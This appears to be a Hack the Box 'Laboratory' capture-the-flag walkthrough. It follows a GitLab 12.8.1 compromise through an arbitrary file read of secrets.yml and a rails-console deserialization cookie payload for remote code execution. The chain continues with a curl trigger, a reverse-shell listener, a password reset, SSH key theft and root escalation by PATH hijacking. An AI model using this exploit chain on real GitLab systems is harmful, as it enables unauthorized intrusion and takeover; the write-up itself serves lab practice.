Hack the Box Laboratory

Hack the Box Laboratory

sudo nmap -sS -sC -sV -O 10.129.63.105

Port 22, 80, 443

Note: Gobuster, Dirbuster, and WFUZZ yielded no results

I added both laboratory.htb and git.laboratory.htb to my /etc/hosts file

I visited the git.laboratory.htb first which strangely brought me to a user’s sign in page. See below

I made an account and poked around

Note: for email registration you must use [email protected] emphasis on the laboratory.com

The site did not like [email protected]

After I made an account, I logged in.

I poked around and could not find anything, so I googled Gitlab exploits. Exploit DB has an Arbitrary File Read exploit that seemed promising.

https://www.exploit-db.com/exploits/48431

I found an article from HackerOne that also seemed promising

https://hackerone.com/reports/827052

Following this article, I was able to pull the secrets.yml. I then pulled down a gitlab 12.8.1 version, started docker and began using the rails console to interact with the gitlab server Target:(git.laboratory.htb)

You must replace you pass.key with the secrets.yml pass key in order to fully interact with the target machine.

Following the article from HackerOne I am then able to interact with the git.lab server on the target host.

These commands can be run to interact and stage a shell on the target through the gitlab rails console

request = ActionDispatch::Request.new(Rails.application.env_config)

request.env["action_dispatch.cookies_serializer"] = :marshal

cookies = request.cookie_jar

erb = ERB.new("<%= echo vakzz was here > /tmp/vakzz %>")

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

cookies.signed[:cookie] = depr

puts cookies[:cookie]

reference: https://hackerone.com/reports/827052

From the above snippet I created my own shell on kali, started a Simple Python Server and created listener for port 7676 to catch the shell being executed.

Note: In order for this to work you must use the same vulnerable version of Gitlab 12.8.1 to properly interact with the target host

First I ran all the commands from above to grab the cookie for prestaging

Once you have the cookie use the below command along with cookie to pre-stage your interaction IOT execute the shell above.

curl -vvv 'http://gitlab-vm.local/users/sign_in' -b "experimentation_subject_id=”cookie-from-host”

Note: Make sure your python server is running along with your net cat listener. Execute the curl command along with the cookie and you should get a listener

Once you have a shell you will need to stabilize it.

Afterwards you will need to elevate to user in order to enumerate any other services.

Here is an article on how to change GitLab docker users through the rails console.

https://docs.gitlab.com/12.10/ee/security/reset_root_password.html

After running this command, we can see Dexter is who we are after

user = User.where(id: 1).first

Following the article above we can change Dexter’s password for the GitLab docker.

Note: This password change does not mean we can sudo into Dexter. After several attempts I finally realized that this password change was for the GitLab portal login.

Once Logged in there is a SecureDocker folder that possesses ssh id_rsa keys that can be used for ssh access into the target

Download the key and chmod 600 the id_rsa

Use these commands to check the id_rsa format

If the format is good you should be able to SSH into the box

Linpeas to the rescue!

Note: Several indicators are pointing towards more exploitation surrounding this docker exploit chain. My suspicion began to grow once I ran linpeas and stumbled across this. About an hour later…….

Maybe blind luck but I decided to look more into the docker file

Looks like both Dexter and root can run this file

There are only a few things I can make out inside the file. One of them is chmod and using some sort of permission to modify the docker to run.

I see that we might be able to use chmod as an exploit. But first I have to setup my own chmod and do some absolute path modification.

If my hunch is right maybe I can run my chmod bash script with docker security to execute the shell as root. Docker-security is owned by root as well!

We can see that Dexter is able to call it by tabbing out Docker Security

Make bash script

Execute

Shell!